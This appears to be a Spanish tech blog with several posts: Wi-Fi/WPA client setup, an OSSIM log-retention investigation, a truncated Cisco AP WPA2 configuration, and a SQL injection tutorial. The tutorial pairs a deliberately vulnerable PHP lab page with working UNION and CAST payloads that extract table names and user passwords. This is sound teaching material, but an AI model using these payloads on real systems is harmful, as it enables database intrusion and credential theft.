Configurando una red inalámbrica hogareña
Luego de un período con grandes cambios a nivel personal, vuelvo a tener tiempo (y ganas) de escribir un artículo. En este caso para contar mis experiencias configurando mi red inalámbrica hogareña.

Para comenzar el desarrollo de la red hace falta conseguir lo más importante, que es el router inalámbrico. La marca/modelo a comprar depende del área a cubrir y el dinero que dispongamos. En mi caso opté por un router TP-LINK TL-WR340G ya que sólo me interesa cubrir mi departamento y es una opción super económica.

La configuración de este router es extremadamente sencilla: conectamos el cable de red de nuestro ISP al router; conectamos nuestra PC/Notebook (utilizando una IP fija 192.168.0.0/24) a una boca ethernet del router; y finalmente ingresamos por Web al router ingresando 192.168.1.1 en nuestro navegador.

La interfaz Web es muy intuitiva y haciendo unos pocos clics ya tenemos la red inalámbrica funcionando con DHCP. Lo más importante son dos cuestiones. La primera: dependiendo del servicio de Internet contratado, será necesario configurar PPPoE (Point-to-Point Protocol over Ethernet) para conectarse al ISP (con un nombre de usuario y contraseña otorgados por el proveedor). La segunda: habilitar la seguridad Wireless en el router (autenticación y encripción). A pesar de que WEP es mejor que nada, es un protocolo que posee varias debilidades, por lo tanto es altamente recomendable utilizar WPA/WPA2. Basta con seleccionar WPA-PSK (PSK: Pre-Shard Key, autenticación mediante clave compartida) en el router y utilizar una clave fuerte (formada por letras mayúsculas, minúsculas, números, símbolos y lo suficientemente larga).

Luego de configurar el router (la parte sencilla) la tarea de configurar los clientes no fue tan trivial.

El primer cliente fue una Notebook con Windows XP instalado de base con su placa de red inalámbrica funcionando correctamente. Para conectarlo a nuestra red simplemente hacemos clic derecho sobre el ícono del adaptador de red inalámbrico en la barra de tareas, luego clic en "Ver redes inalámbricas disponibles", luego seleccionamos nuestra red, clic en "Conectar" e introducimos la contraseña dos veces. Hasta acá muy fácil y bonito.

El siguiente cliente fue una Notebook con Ubuntu 9.04. Esta versión de Ubuntu ya incorpora los drivers para la placa de red Realtek RTL8187B y funciona correctamente. Pero los problemas comenzaron al tratar de conectarse a una red protegida con WPA. Ya sea utilizando el administrador de redes "network-manager" o "Wicd", la conexión se pierde luego de un corto lapso de tiempo. El error se repite una y otra vez. Luego de investigar un tiempo en Internet supe que se trata de un problema de autenticación (bastante común entre los usuarios de esta distro) entre gnome-keyring/Dbus/Network Manager. Para solucionarlo le otorgué permisos para utilizar adaptadores inalámbricos al usuario en cuestión desde el menú "System > Administration > Users and Groups". Luego de esto, utilizando Wicd, la red comenzó a funcionar "más o menos bien" aunque tarda mucho tiempo en detectar y conectarse a la red y sufre alguna desconexión esporádica.
La solución a implementar para que la red funcione perfectamente en este sistema operativo es la misma que describo más adelante para Slackware.

El próximo cliente fue una PC con Windows XP. Como no tenía un adaptador de red inalámbrico decidí comprar uno USB (la solución más económica y práctica para mis necesidades). Luego de conectar el dispositivo cometí el error de instalar los controladores directamente desde el disco compacto que incluía en la caja. Este instalador agregó un horrible manejador de redes inalámbricas en la barra de tareas que reemplazó al manejador de redes inalámbricas de Windows. Luego de la clásica reiniciada, el manejador no detectó ninguna red y no me permitió utilizar el de Windows. Por lo tanto tuve que desinstalar los controladores, reiniciar y comenzar de nuevo, esta vez utilizando el "Asistente para agregar hardware" en lugar del instalador del CD. Cuando se abre el asistente insertamos el CD y presionamos en "Siguiente". Luego de que Windows detecta los drivers que se encuentran en el CD, seleccionamos el driver de acuerdo a nuestra versión de Windows y continuamos con la instalación.
Una vez instalado el hardware utilizamos (previa reiniciada) el manejador de redes inalámbricas de Windows que se encuentra en la barra de tareas y nos conectamos perfectamente a nuestra red (esta vez sin utilizar el horrible manejador de redes incorporado en el CD del fabricante) como para el caso del primer cliente.

Luego de renegar con Windows y Ubuntu me puse el overol para aprender cómo funcionan las cosas de la mano de Slackware. La versión 13.1 instalada en la PC incorpora los drivers para el adaptador USB (utiliza el mismo chip Realtek RTL8187B de la notebook) por lo tanto la red inalámbrica funciona perfectamente.
Ya que vamos a conectarnos a una red inalámbrica con seguridad WPA, no basta con utilizar iwconfig para configurar el adaptador, es necesario utilizar wpa_supplicant. WPA Supplicant es el componente del protocolo IEEE 802.1X/WPA utilizado en las estaciones cliente. Implementa la negociación de claves con un autenticador WPA (en este caso nuestro router). Funciona como un demonio que se ejecuta en background y actúa como un componente back-end que controla la conexión wireless. En Slackware 13.1 viene incluido en la instalación base y en las distribuciones basadas en Debian lo provee el paquete wpasupplicant.
wpa_supplicant toma la configuración de las redes inalámbricas con seguridad WPA desde el archivo /etc/wpa_supplicant.conf. Para agregar una red en este archivo se utiliza el comando wpa_passphrase con el SSID de la red como parámetro:

$ wpa_passphrase myssid


Este comando lee la clave compartida de la red WPA (la misma que ingresamos en el router) por la entrada estándar y genera la clave encriptada para almacenar en el archivo /etc/wpa_supplicant.conf (para no tener que escribir la contraseña cada vez que nos conectamos a la red). Copiamos la salida de wpa_passphrase y la pegamos al final del archivo /etc/wpa_supplicant.conf.
Luego de estos pasos podemos conectarnos a la red inalámbrica:

# iwconfig wlan0 essid "myssid"
# ifup wlan0
# wpa_supplicant -iwlan0 -c/etc/wpa_supplicant.conf
# dhcpcd wlan0


El cliente WPA Supplicant es bastante vervoso e imprime por salida estándar todos los pasos durante la autenticación con el AP. Luego podemos verificar que la red haya tomado una dirección IP desde el AP utilizando el comando ifconfig.

Parece una tarea tediosa, pero el aprendizaje es invaluable y la red funciona excelentemente.

Aunque si no desean escribir estos 4 comandos cada vez que se conecten a la red, en Slackware pueden agregar un script en /etc/rc.d que lo haga automáticamente o en las distribuciones basadas en Debian pueden editar el archivo /etc/network/interfaces:

auto wlan0
iface wlan0 inet dhcp
up wpa_supplicant -iwlan0 -c/etc/wpa_supplicant.conf -Bw
down killall wpa_supplicant


La opción -B pone el demonio wpa_upplicant en background y la opción -w le indica que no haga anda hasta que la interfase esté levantada.

Luego de esta tarea tengo mi red inalámbrica funcionando en perfectas condiciones. A aquellos usuarios de Linux espero que les sirva la info y a los de Windows, bueno... nadie es ferpecto.

Saludos!


P.S.: Perdón por las screenshots!


Referencias:

  • http://hostap.epitest.fi/wpa_supplicant/
  • http://www.enterprisenetworkingplanet.com/netsecur/article.php/3594946/Linux-on-Your-WLAN-Configure-WPA.htm
SQL Injection en MySQL y SQL Server: robando datos con UNIONs y CASTs
Parece que arranqué al revés yendo de difícil a más fácil mostrando SQL Injection totalmente blind antes que inyecciones más simples. Es interesante ver las técnicas que se pueden utilizar al poder ver los mensajes de error que retorna un servidor mal configurado. Para el que se lo haya perdido, comencé la serie de artículos SQLi con el artículo Inyección Mortal: SQL Injection y luego continuó en el completo artículo El arte de la inyección blind (MySQL).

Cuando un servidor retorna mensajes de error de base de datos debido a consultas incorrectas, el trabajo del atacante es mucho más fácil porque puede orientarse fácilmente sobre cómo armar las consultas y obtener datos de forma más simple y rápida. Si bien las técnicas que mostré en el artículo sobre inyección blind obviamente funcionan para estos casos, es mejor utilizar técnicas más simples como las que mostraré a continuación, siempre que sea posible.

Una vez más, las diferencias entre ciertas consultas en los distintos DBMSs hacen que los ataques varíen entre un motor y otro, pero la base es la misma. Algunos DBMSs poseen facilidades que permiten al atacante realizar menor cantidad de consultas para obtener los mismos datos.

En el siguiente artículo les mostraré cómo obtener datos a través de inyecciones en páginas web, utilizando UNION y CAST. Me centraré en los ataques con UNION que son los más utilizados e independientes del DBMS. Cubriré tanto MySQL como SQL Server que son los dos motores más utilizados en internet.

En fin, comencemos a inyectar!


Código para jugar

Como de costumbre, las explicaciones son más simples teniendo ejemplos, así que utilicemos un código de muestra sobre el cual podemos inyectar. Para hacerlo simple (y porque soy perezoso), tomemos el mismo código que utilicé en el artículo de inyección blind. En esta ocación hablaré tanto de inyecciones sobre MySQL como SQL Server. Por suerte utilizar una base de datos u otra en php es tan simple como cambiar el nombre de las funciones a llamar, por lo cual dejo el código para utilizar MySQL, y al lado de cada función les pongo un comentario con la función a colocar en el caso de utilizar SQL Server. Es obvio que para utilizar SQL Server deberán tener un Windows... a menos que hayan logrado que ande en GNU/Linux =P
<HTML>
<HEAD><TITLE>Testeando SQLi</TITLE></HEAD>
<BODY>
<?php
$db = mysql_connect('localhost', 'tester', '123456'); //mssql_connect('192.168.1.10', 'tester', '123456'); //en mi caso 192.168.1.10 es la máquina con SQL Server
mysql_select_db('test', $db); //mssql_select_db('test', $db);
if(isset($_GET['id']))
{
$query = "SELECT * FROM content WHERE id='".$_GET['id']."'";
}
else
{
$query = "SELECT * FROM content WHERE id='3'";
}

print "query: ".$query."<HR>";
print '<A HREF="?id=3">News</A> | <A HREF="?id=1">SQL Test</A> | <A HREF="?id=2">Links</A><BR><BR>';

if($result = mysql_query($query)) //if($result = mssql_query($query))
{
$row = mysql_fetch_array($result); //$row = mssql_fetch_array($result);
print("<B>".$row['title']."</B><BR><BR>");
print($row['content']);
mysql_free_result($result); //mssql_free_result($result);
}
?>
</BODY>
</HTML>
El código me retornará el contenido de la página si la consulta es correcta, y retornará el contenido cuyo id es 3 (News), en caso de que la consulta falle. La consulta ejecutada sobre la base de datos es "SELECT * FROM content WHERE id='<el-id>'"
Nuevamente, la base de datos se llama test y contiene la tabla t_content:
+----+----------+------------------------------+
| id | title | content |
+----+----------+------------------------------+
| 1 | SQL Test | vas a aprender mucho SQLi |
| 2 | Links | seccion con links |
| 3 | News | hoy aprendes inyeccion SQL |
+----+----------+------------------------------+
y la tabla t_user:
+----+---------------+--------------------------------+---------------+-------------+
| id | name | email | username | pass |
+----+---------------+--------------------------------+---------------+-------------+
| 1 | demasiadovivo | demasiadovivo@misuperemail.com | demasiadovivo | pass123 |
| 2 | emilio | emilio@otromailguay.com | emilio | linuxrulez |
| 3 | Javi | javiz@misuperemail.com | javiz | javsecurity |
+----+---------------+--------------------------------+---------------+-------------+

Inyecciones CAST y UNION

Al igual que con inyecciones blind, se utilizan básicamente dos formas de obtener datos a través de inyecciones en un consulta. Por un lado podemos utilizar expresiones booleanas con AND, o utilizar el operador UNION.
Una de las técnicas con expresiones booleanas la vimos en el artículo de inyección blind, donde tomamos substrings y convertimos caracteres a ascii para ir comparando de a letras... algo bastante tedioso. Por suerte, en SQL Server, si contamos con los errores causados en el servidor, podemos aprovechar los AND en conjunto con la función CAST. Si utilizamos CAST para intentar convertir un tipo de datos string a un entero, el servidor nos retornará un error conteniendo el string! Por ejemplo, una consulta del tipo 1=CAST(@@version as integer) nos dará un error conteniendo la versión del motor de base de datos. En el código de ejemplo, tal consulta quedaría:
?id=1' and 1=CAST(@@version as integer) and '1'='1
y nos mostraría algo como lo siguiente:
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2) ' to data type int.
El "and '1'='1" del final es para escapar la comilla que sobra en la consulta, porque sino, es posible que el DBMS retorne que sobra una comilla en lugar del error que buscamos. Otra forma de escapar este problema es utilizando comentarios luego de la consulta, como por ejemplo:
?id=1' and 1=cast(@@version as integer) --
En MySQL la técnica no sirve porque al intentar hacer un cast incorrecto, el servidor simplemente retorna 0, es decir, no origina un error.
Se puede realizar cualquier ataque realizable con UNION utilizando CAST de esta manera. Por ejemplo, pueden obtener los nombres de usuario de la tabla t_user de la siguiente manera:
?id=1' and 1=cast((select username from t_user where username <'e') as integer) and '1'='1
Es necesario que la consulta retorne un solo string, por ello utilicé la expresión "where username<'e'". Más adelante les mostraré una técnica para limitar la cantidad de filas retornadas.

La opción más comúnmente utilizada y "estándar" es realizar una unión. Ya he explicado en otros posts cómo funciona esta técnica, pero veamos un pequeño repaso. UNION nos permite unir los resultados de una consulta con los resultados de otra consulta, siempre y cuando ambas consultas tengan como resultado la misma cantidad de columnas. Si utilizamos sólo UNION, las columnas a unir deben ser del mismo tipo, pero si en cambio aprovechamos UNION ALL, podemos utilizar distintos tipos. Como veremos en la siguiente sección, existen distintas técnicas para obtener la cantidad de columnas de la consulta original (la que utiliza la página para mostrar resultados) para así poder agregar nuestra consulta y obtener datos.
De aquí en más la explicación se centrará en ataques con UNION, pero tengan en cuenta que haciendo algunos cambios, se pueden realizar las mismas consultas utilizando CAST.


Número de columnas de la consulta a inyectar

Como vimos en la sección anterior, si utilizamos UNION para obtener datos a partir de una consulta inyectable, necesitamos primero determinar la cantidad de columnas seleccionadas y el nombre de las columnas de las tablas que queremos obtener.
Para determinar el número de columnas seleccionadas podemos utilizar varias técnicas, entre las cuales están el mismo "UNION", "ORDER BY" y "HAVING and GROUP BY". Veamos cada una por separado:
- UNION: una consulta que utilice UNION retornará un error si la cantidad de columnas no es la misma en ambas consultas, por lo cual podemos probar colocando distinta cantidad de columnas hasta que la consulta no de más error. Lo lógico sería arrancar con una columna, luego dos, luego tres, etc. Para lograr esto, podemos utilizar la consulta SELECT en conjunto con strings separados por coma para delimitar la columna. Por ejemplo, si comenzamos con una columna y vamos aumentando, quedaría así:
?id=1' union select '1 //da error porque la consulta original tiene 3 columnas
?id=1' union select '1','2 //idem
?id=1' union select '1','2','3 //OK!
como ven, el último parámetro lo dejo sin comilla final porque la consulta original la va a agregar. Siempre utilicen comillas porque si utilizan números puede que la consulta falle. Los DBMS aceptan un número entre comillas en el caso de un entero, pero no aceptan enteros donde van strings. Como de antemano no sabemos qué columna es un entero y cuál es un string, lo mejor es utilizar siempre strings.
Si observan el resultado en la página, podrán ver que se muestran solo la 2da y la 3er columna, lo cual quiere decir que, si bien se seleccionan 3, puedo ver sólo dos de ellas por pantalla.

- ORDER BY: el caso de ORDER BY es muy similar a UNION. ORDER BY permite ordenar los resultados de una consulta en base a una columna. ORDER BY toma como parámetro el número de la columna que utilizamos para ordenar los resultados, si utilizamos un número de columna mayor a la cantidad de columnas retornadas por la consulta, dará error. Por ello, lo que hacemos es ir probando con el valor 1, luego 2, luego 3, etc, hasta que la consulta de error:
?id=1' order by 1 -- 1 //consulta OK porque son 3 columnas
?id=1' order by 2 -- 1 //idem
?id=1' order by 3 -- 1 //idem
?id=1' order by 4 -- 1 //error! es decir, encontramos que son 3 columnas
tal vez se pregunten por qué luego de los caracteres de comentario ingresé un 1? bueno, fue algo que descubrí luego de obtener varios errores. Resulta que MySQL no toma los caracteres de comentario como tales, a menos que, o bien no tengan nada a continuación, o bien luego les siga un espacio. En la consulta anterior, si no ingresamos un espacio y luego otro caracter, dará error. Intenten ejecutar directamente en el DBMS la misma consulta y verán el resultado.

- HAVING 1=1 and GROUP BY: posiblemente esta sea la opción más interesante de las tres, en caso de contar con SQL Server. HAVING se comporta como la cláusula WHERE, pero permite aplicarla a grupos generados por GROUP BY. Sin GROUP BY, se comporta como un WHERE. GROUP BY se utiliza con funciones de agregado como SUM para agrupar resultados en base a una cierta columna. Una buena explicación de HAVING la pueden leer en SQL Tutorial - SQL HAVING, y la de GROUP BY en SQL Tutorial - SQL GROUP BY.
En SQL Server no se aplica exactamente el estándar y si utilizan HAVING sin GROUP BY o una función de agregado, el servidor retornará un error como el siguiente:
Column 't_content.id' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
Esto nos da la posibilidad de obtener tanto la cantidad de columnas de la consulta como el nombre de cada columna. Como ven en el error anterior, el nombre de la columna queda explícito en el mensaje. Una vez que obtenemos el nombre de una columna, podemos utilizar GROUP BY de esa columna y así en el siguiente error saltará el nombre de la segunda columna. De esta forma, obtendremos todas las columnas de la consulta:
?id=1' having 1=1 -- 1 //nos retorna "Column 't_content.id' is invalid..." es decir, obtenemos el nombre de la primer columna seleccionada
?id=1' group by id having 1=1 -- 1 //nos retorna "Column 't_content.title' is invalid...", con lo que obtenemos el nombre de la segunda columna
?id=1' group by id,title having 1=1 -- 1 //nos retorna "Column 't_content.content' is invalid...", y ya sabemos el nombre de la tercer columna
?id=1' group by id,title,content having 1=1 -- 1 //no obtenemos error, lo cual quiere decir que ya obtuvimos todas las columnas de la consulta, y que la cantidad de columnas es 3.

Nombres de tablas

Ya mostré cómo obtener los nombres de las tablas en MySQL utilizando inyección blind y las funciones substring, upper y ascii. Como repaso, les comento que todas las tablas de todas las bases de datos se almacenan en la base de datos information_schema, en la tabla tables. La columna que nos interesa de esta tabla es table_name y la podemos obtener ejecutando:
SELECT table_name FROM information_schema.tables
lo cual traducido a una inyección en nuestra página de ejemplo sería:
?id=-1' union all select '1',table_name,'3' from information_schema.tables limit 0,1 -- 1
?id=-1' union all select '1',table_name,'3' from information_schema.tables limit 1,1 -- 1
...
?id=-1' union all select table_name,'1','1' from information_schema.tables limit n,1 -- 1
Si prestaron atención, verán varias cosas interesantes en la consulta anterior. Por un lado utilicé el id=-1 que sé que no retornará ningún contenido, y así puedo ver la fila obtenida en la unión. Si no hiciera esto, como la página toma sólo la primer fila retornada, no podría ver el resultado de mi consulta (que quedaría segunda). Esto hace que deba consultar las filas de a una, y me lleva a utilizar el operador LIMIT. En la primer consulta comienzo con offset 0 y obtengo el primer nombre de tabla, en la segunda comienzo con offset 1, y obtengo el segundo, y de esta forma continúo hasta obtener todas las tablas. Por último verán que agregué un '1' al principio y un '3' al final para completar la cantidad de campos necesarios en la unión. No puedo utilizar el primer campo porque la página no me lo muestra, así que utilizo el segundo (también podría haber utilizado el tercero).

Es importante destacar que si el usuario con el que se ejecuta la consulta posee permisos en varias bases de datos, les mostrará el nombre de todas las tablas a las que tenga acceso. Por ello, es necesario restringir la búsqueda a la base de datos que nos interesa. El nombre de la base de datos actual se puede obtener ejecutando la función database():
SELECT database()
que se traduce a la siguiente inyección:
?id=-1' union all select '1',database(),user() -- 1 //me retorna test, y tester@localhost
Como es gratis, ademas de obtener el nombre de la base de datos, aproveché para obtener también el nombre del usuario.
Ya sabiendo que el nombre de la base de datos es test, puedo customizar la consulta anterior para que sólo me retorne las tablas de esta base de datos de la siguiente forma:
SELECT table_name FROM information_schema.tables WHERE table_schema='test'
traducido a:
?id=-1' union all select '1',table_name,'3' from information_schema.tables where table_schema='test' limit 0,1 -- 1
?id=-1' union all select '1',table_name,'3' from information_schema.tables where table_schema='test' limit 1,1 -- 1
...
?id=-1' union all select '1',table_name,'3' from information_schema.tables where table_schema='test' limit n,1 -- 1
Si desean conocer la cantidad de tablas antes de realizar las consultas anteriores, pueden hacerlo con la siguiente consulta:
SELECT count(table_name) FROM information_schema.tables WHERE table_schema='test'
es decir:
?id=-1' union all select '1',count(table_name),'3' from information_schema.tables where table_schema='test
En SQL Server se puede hacer algo muy similar, solamente cambiando algunas partes de la consulta. Por un lado el nombre de las tablas se encuentran en la vista llamada INFORMATION_SCHEMA. Esto se debe a que la base de datos information_schema es un estandar ISO y por ello SQL Server la incluye como vista. Desde nuestro punto de vista da lo mismo si es una vista o una base de datos porque gracias al estándar se acceden de igual forma. Esto es, las consultas anteriores valdrán también para SQL Server. La única diferencia es que existe una vista INFORMATION_SCHEMA por cada base de datos, con lo cual, no necesitamos conocer el nombre de la base de datos porque los resultados retornados serán solamente tablas de la base de datos actual.
Algo que sí debemos cambiar en las consultas anteriores es el uso de limit. Este operador presente en MySQL, no existe en SQL Server y es necesario construir consultas bastante más complicadas... parece increíble que no tengan una función similar a limit...
La siguiente consulta la armé a partir del artículo Sql server con consultas Limit de mySQL y permite simular la función de limit:
SELECT * FROM (SELECT *, ROW_NUMBER() OVER (ORDER BY table_name) AS row FROM information_schema.tables) AS temp where row>0 and row<=1;
básicamente, la consulta genera una nueva columna con el número de la posición de la fila y luego filtra resultados en base a ese número. Como ven, es bastante más sucio que hacer un lindo limit... gracias MS por hacer nuestras vidas miserables...
La consulta anterior se traduciría a lo siguiente:
?id=-1' union all select '1',table_name,'3' from (select *,ROW_NUMBER() over (order by table_name) as row from information_schema.tables) as temp where row>0 and row<=1 --
?id=-1' union all select '1',table_name,'3' from (select *,ROW_NUMBER() over (order by table_name) as row from information_schema.tables) as temp where row>1 and row<=2 --
...
?id=-1' union all select '1',table_name,'3' from (select *,ROW_NUMBER() over (order by table_name) as row from information_schema.tables) as temp where row>n-1 and row<=n --

Nombres de columnas

Una vez que tenemos los nombres de las tablas que nos interesan, conseguir los nombres de las columnas es un proceso muy similar. La consulta es casi igual, con la salvedad que ahora buscamos el campo column_name de la tabla columns de la base de datos information_schema. Suponiendo que buscamos los campos de la tabla t_user, la consulta sería como la siguiente:
SELECT column_name FROM information_schema.columns WHERE table_schema='test' and table_name='t_user'
que en inyección MySQL se traduce a:
?id=-1' union all select '1',column_name,'3' from information_schema.columns where table_schema='test' and table_name='t_user' limit 0,1 -- 1
?id=-1' union all select '1',column_name,'3' from information_schema.columns where table_schema='test' and table_name='t_user' limit 1,1 -- 1
...
?id=-1' union all select '1',column_name,'3' from information_schema.columns where table_schema='test' and table_name='t_user' limit n,1 -- 1
y en el caso de SQL Server, se traduce a:
?id=-1' union all select '1',column_name,'3' from (select *,ROW_NUMBER() over (order by column_name) as row from information_schema.columns where table_name='t_user') as temp where row>0 and row<=1 --
?id=-1' union all select '1',column_name,'3' from (select *,ROW_NUMBER() over (order by column_name) as row from information_schema.columns where table_name='t_user') as temp where row>1 and row<=2 --
...
?id=-1' union all select '1',column_name,'3' from (select *,ROW_NUMBER() over (order by column_name) as row from information_schema.columns where table_name='t_user') as temp where row>n-1 and row<=n --

Todo listo, a cocinar!

Ahora que ya contamos con los nombres de los campos y de las tablas que queremos, ya podemos obtener cualquier información que deseemos. En este caso de ejemplo resultan interesante los datos de usuario y password, por lo cual armaré las consultas teniendo este objetivo. Como podemos obtener de a dos datos a la vez, viene justo para sacar cada par usuario/password de a una consulta.
Una vez más, veamos cómo es la consulta real y cómo se traduce a la inyección:
SELECT username,pass FROM t_user
en MySQL:
?id=-1' union all select '1',username,pass from t_user limit 0,1 -- 1
?id=-1' union all select '1',username,pass from t_user limit 1,1 -- 1
...
?id=-1' union all select '1',username,pass from t_user limit n,1 -- 1
en SQL Server:
?id=-1' union all select '1',username,pass from (select *,ROW_NUMBER() over (order by username) as row from t_user) as temp where row>0 and row<=1 --
?id=-1' union all select '1',username,pass from (select *,ROW_NUMBER() over (order by username) as row from t_user) as temp where row>1 and row<=2 --
...
?id=-1' union all select '1',username,pass from (select *,ROW_NUMBER() over (order by username) as row from t_user) as temp where row>n-1 and row<=n --
De la misma forma se puede obtener cualquier registro de cualquier tabla. Ya tenemos el poder! =)


Reflexión final

Como siempre digo en el trabajo, lo difícil no es el ataque, sino encontrar dónde atacar. SQL Injection no es la excepción, y muestra que la parte difícil está en encontrar una variable inyectable, una vez que tenemos esto, es cuestión de utilizar la técnica que mejor se adapte para obtener los datos.
Existen algunos trucos para bypassear algunos controles de programación, que podrían dificultar la tarea. En otro artículo mostraré algunas de las técnicas más utilizadas para evitar estos controles.
Las consultas que mostré en el artículo se pueden optimizar de un par de formas, iba a ponerlas en este artículo pero ya quedó demasiado extenso, así que queda para el próximo. Ya tengo escrita un buen pedazo de esa parte, así que no debería tomarme más de unos días terminarlo.
Por último, como pudieron observar en este artículo, SQL Server permite más facilidades de inyección que MySQL. Su forma tan verbosa de mostrar errores ayuda mucho al atacante, y además provee otros mecanismos que disminuyen el trabajo. Además, algo que no mostré en este artículo es que en SQL Server es posible inyectar inserciones, borrar registros, tablas, ejecutar comandos en el servidor, entre otras cosas, porque permite concatenar acciones en una sola consulta del programa. MySQL no permite esto y por ello lo que se puede lograr es bastante más limitado, a menos que se utilicen técnicas más agresivas.
En fin, espero que luego de leer esto tengan bastante idea de lo que se puede lograr con SQLi y lo simple que es lograrlo.
Entendiendo OSSIM + Cambiar el intervalo de borrado de entradas SIEM!
Hace un tiempo empecé a notar una peculiaridad en los datos que me mostraba OSSIM. Como siempre miro reportes del último día o de la última semana, no me había percatado de que el dato más viejo que poseía era de sólo 5 días atrás! luego de un gran "WTF!?" empecé a buscar la causa.
Googlie hasta hartarme y no encontré nada al respecto, ni en foros ni en listas (a veces resulta muy limitada la información de OSSIM), así que empecé a buscar en todo archivo de configuración de OSSIM.
Desgraciadamente no encontré absolutamente nada en los archivos de configuración, así que tuve que hacer una búsqueda más compleja y empecé a mirar código.
Sabía que los logs de snort están, porque en /var/log/snort tengo logs desde le día que instalé OSSIM. Entonces me pregunté, de dónde lee los datos OSSIM??? si los logs están, es obvio que no los está leyendo de ahí. También sabía que existe una base de datos para snort y que en la tabla acid_events se encontraban los eventos, pero sólo de 5 días. El último dato que tenía es que OSSIM utiliza el programa BASE para mostrar los resultados de snort, el cual a su vez utiliza la base de datos "snort".

Por lo anterior, me dije a mi mismo, si los logs de snort están, entonces por qué no accederlos directamente? pero al abrir uno de estos logs, me encuentro con que están en binario.
Haciendo un "ps ax | grep snort" encontré que snorg se ejecuta con las siguientes opciones:
/usr/sbin/snort_eth0 -m 027 -D -d -l /var/log/snort -u snort -g snort -c /etc/snort/snort.eth0.conf -S HOME_NET=[redes-configuradas-en-snort.debian.eth0.conf] -i eth0
Los parámetros me dicen que se ejecuta como demonio (-D), con usuario snort (-u) y grupo snort (-g); los logs se crean con máscara 027 (-m) y se guardan en /var/log/snort (-l); la configuración la toma de /etc/snort/snort.eth0.conf (-c); se vuelcan los datos de aplicación (-d); la interfaz utilizada es eth0 (-i) y se setea la variable HOME_NET (a partir de los parámetros en snort.debian.eth0.conf).

Ok, eso no me ayuda mucho con mi interrogante. Mirando el archivo de configuración de snort, encuentro que los logs se guardan en formato unified2:
output unified2: filename snort_eth0, limit 128
Y qué es este formato? uno creado por la gente de snort y para el cual no encontré programa que lo muestre por pantalla... Algunas referencias para entender este formato son Understanding Snort's Unified2 output, y Dissecting Snort's Unified Logging Structures.
Entonces, si no encuentro programa para abrir estos logs, cómo lo hace OSSIM? Una vez más, en google no encuentro mucho, así que a revisar código...
Por lo que encontré, OSSIM está escrito en perl, python, bash y php (la mágia del open source, cada uno programa en lo que se le antoja), esto no ayuda mucho a alguien que quiere encontrar algo en el código, pero bueno a buscar.
El código de los agentes los pueden encontrar en /usr/share/ossim-agent/ossim_agent/. El principal es Agent.py, el cual simplemente crea los agentes específicos de cada programa, loguea problemas y queda a la espera de resultados. Los que a mi me interesan son ParserUnifiedSnort.py y ParserSnort.py, en los cuales se hace el parseo. Estos Scripts están pendientes de nuevas entradas en los logs de snort y envían mensajes al server OSSIM para que los agregue en sus tablas. Como notarán, esto hace a snort totalmente independiente de OSSIM, snort simplemente loguea.
Luego de leer bastante código, me di cuenta de que no iba a llegar a ningún lado, a menos de que me pusiera a modificar. Así que retomé la busqueda en la base de datos. Al ser BASE el programa que lee los datos, busqué si era éste el que borraba entradas en la tabla, pero después de varios greps, no encontré consultas DELETE sobre la tabla que me interesa, así que abandoné.

Cuando ya estaba bastante podrido de leer estructuras de tablas y programas en python y php, por suerte Javi me iluminó con algo bastante obvio, pero que no se me había ocurrido. Como el reporte más antiguo que tenía comenzaba exactamente a las 00:00:00 de un dado día, Javi planteó "debe ser un programa que ejecuta cron"... cierto!
Rápidamente hice algunos greps en los directorios del cron y me encontré con el bendito script, éste escrito en perl: /etc/cron.daily/acid-backup

Luego de debuggear un buen rato este script (no hay nada de info en google), encontré lo siguiente:
* OSSIM hace backups de las tablas de la base de datos snort y de la propia OSSIM todos los días y los guarda en el directorio /var/lib/ossim/backup (ja capaz lo iba a encontrar... a quién se le habrá ocurrido meter backups en /var/lib??? es totalmente ilógico!!!)
* los dumps de la base de datos de snort se guardan en archivos llamados insert-.sql.gz
* los dumps de la base de datos ossim se guardan en archivos llamados ossim-backup_.sql.gz
* existe una ventana de tiempo para mantener logs (esto ya lo sabía). Logs más viejos que el intervalo de la ventana se borran utilizando DELETES en las correspondientes tablas. ---> por fin lo encontré!
* los datos del tamaño de la ventana, el path del backup y otros, usados para hacer el backup, los saca de la base de datos. Para encontrar precisamente de dónde, tuve que hacer más greps hasta dar con el archivo /usr/share/ossim/include/classes/Config.inc (este escrito en php), en el cual se ve que toma los datos de la tabla config de la base de datos ossim.
Luego de esto, los sentidos me guiaron hasta la interfaz web, donde encontré que se puede configurar esta ventana desde Configuration -> Main -> Backup
OK problema resuelto, ya sé por qué no tenía logs más antiguos a 5 días y se dónde modificar este comportamiento (Configuration -> Main -> Backup). También se que puedo utilizar los backups diários para levantar la base de datos de cualquier día (/var/lib/ossim/backup/).
En el camino entonces aprendí un poco de cómo es la interacción entre snort y OSSIM, algo que no tenía del todo claro.
Un paper interesante sobre el flujo de datos en OSSIM es OSSIM data flow.

En resumen, final feliz, fue un trabajo interesante, aunque hubiera preferido encontrar alguna documentación al respecto y no tener que andar haciendo de investigador. Por ello, espero que esto le sirva a futuros incursionistas en OSSIM que tengan el mismo problema y que no encuentren información al respecto.
Configurar APs Wireless Cisco
Después de una intensa lucha con el AP Wireless Cisco (ver el artículo anterior), logré configurarlo de forma satisfactoria, y como de costumbre, comparto la experiencia en el blog por si alguien más debe enfrentar este reto =)

En los siguientes pasos mostraré cómo configurar un Access Point Cisco Aironet de la serie 1240 (probablemente funcione en otros), para que utilice autenticación Radius, manejo de claves WPA y encripción AES (es decir, utilizar el estándar WPA2). Son el resultado de horas de lectura de artículos y manuales, así que espero que les sirva =)

Lo primero que haremos es revisar que el AP tenga instalado un IOS que funcione como autónomo:
ap # show version
Si el IOS es uno Lightweight, conseguir un IOS que funcione en modo autónomo y realizar los pasos explicados en Revertir Lightweight (LWAPP) Mode a Autonomous Mode para configurar APs Cisco.

Utilizando el IOS en modo autónomo, realizar los siguientes pasos. Tener en cuenta el prompt para saber donde estamos parados. Por ejemplo ap(config) indica que estamos en la configuración global, ap(config-if) es la configuración de interfaz, ap(config-ssid) es la configuración del SSID, etc.

1) Configurar la autenticación con el servidor radius (en el ejemplo 192.168.1.111):
ap(config) # radius-server host 192.168.1.111 auth-port 1645 acct-port 1646 key 7 password-con-radius
deberán colocar el password que utilizan en el servidor Radius para autenticar dispositivos.

2) Habilitar el nuevo modelo de autenticación, autorización y contabilización:
ap(config) # aaa new-model
